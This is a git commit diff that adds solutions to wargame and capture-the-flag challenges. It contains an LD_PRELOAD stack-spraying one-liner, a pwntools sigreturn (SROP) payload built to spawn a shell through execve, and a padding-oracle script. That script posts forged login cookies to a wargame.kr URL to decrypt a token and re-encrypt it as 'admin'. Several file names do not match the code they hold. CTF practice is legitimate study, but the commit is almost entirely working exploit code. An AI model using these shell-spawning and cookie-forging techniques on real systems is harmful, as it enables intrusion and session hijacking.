add previously solved problems

Author: Qwaz

etc/garbage/garbage

@@ -0,0 +1,16 @@
+# main()
+int a;
+scanf("%d", &a);
+jump(a);
+
+# jump(t)
+while (t > 0) {
+	--t;
+	jump(t);
+}
+
+jmp 스택 내부 쓰레기값
+
+
+0x080486f7
+export LD_PRELOAD=`perl -e 'print "\xf7\x86\x04\x08"x12345'`

etc/garbage/garbage.txt

@@ -0,0 +1,55 @@
+from pwn import  *
+
+# make symbolic link GNU -> /bin/sh
+
+payload = ''
+
+payload += 'a' * 16
+
+payload += p64(0x7fffffffe900) # ebp
+payload += p64(0x0000000000400430) # read plt
+payload += p64(0x0000000000400560) # syscall
+
+# Frame
+context.clear(arch='x86_64')
+frame = SigreturnFrame()
+frame.rax = 59
+frame.rdi = 0x400280 # GNU
+frame.rsi = 0
+frame.rdx = 0
+frame.rip = 0x400560
+frame.csgsfs = 0x2b0033
+
+payload += str(frame)
+
+'''
+rax = 59
+rdi = 0x400280 # GNU
+rsi = 0
+rax = 0
+rbx = 0
+rcx = 0
+rdx = 0
+rbp = 0
+rsp = 0
+rip = 0x400560
+csgsfs = 0x2b0033
+
+payload += ''
+payload += p64(0xdeadbeefdeadbeef) * 5
+payload += p64(0) * 8
+payload += p64(rdi) + p64(rsi) + p64(rbp) + p64(rbx)
+payload += p64(rdx) + p64(rax) + p64(rcx) + p64(rsp)
+payload += p64(rip)
+payload += p64(0)
+payload += p64(csgsfs)
+payload += p64(0) * 6
+'''
+
+payload += '_' * (1295 - len(payload))
+
+payload += '$' * 15
+
+f = open('input', 'w')
+f.write(payload)
+f.close()

pwnable.kr/unexploitable/input

@@ -0,0 +1,22 @@
+import base64
+import urllib.parse
+
+inter = b'0\x83\xb3\xc2n\xe6P\x8a'
+
+key1 = "7SWDHbawgDM="
+key2 = "kLcd9rHjAU8="
+
+key1 = bytearray(base64.b64decode(key1))
+key2 = bytearray(base64.b64decode(key2))
+
+def print_key():
+	print(urllib.parse.quote_plus(base64.b64encode(key1) + base64.b64encode(key2)))
+
+for i in range(8):
+	print(inter[7-i] ^ key1[i], chr(inter[7-i] ^ key1[i]))
+
+admin = b'admin\x03\x03\x03'
+for i in range(8):
+	key1[i] = inter[7-i] ^ admin[i]
+
+print_key()

pwnable.kr/unexploitable/unexploitable

@@ -0,0 +1,41 @@
+import base64
+import urllib.parse
+import requests
+
+URL = "http://wargame.kr:8080/dun_worry_about_the_vase/main.php"
+
+key1 = "7SWDHbawgDM="
+key2 = "kLcd9rHjAU8="
+
+key1 = bytearray(base64.b64decode(key1))
+key2 = bytearray(base64.b64decode(key2))
+
+def send():
+	cookie_val = urllib.parse.quote_plus(base64.b64encode(key1)+base64.b64encode(key2))
+	r = requests.post(URL, cookies=dict(L0g1n=cookie_val))
+	return r.text
+
+def success(current, result):
+	if current == 0:
+		return "invalid user" in result
+	else:
+		return "padding" not in result
+
+send()
+
+found = bytearray(b'12345678')
+
+for current in range(8):
+	for prev in range(current):
+		key1[7 - prev] = found[prev] ^ (current+1)
+	for bit in range(256):
+		if bit % 16 == 0:
+			print("trying - %d byte - %d" % (current, bit))
+		key1[7 - current] = bit
+		result = send()
+		if success(current, result):
+			found[current] = bit ^ (current+1)
+			print("success - %d byte - %d" % (current, bit ^ (current+1)))
+			break
+
+print(found)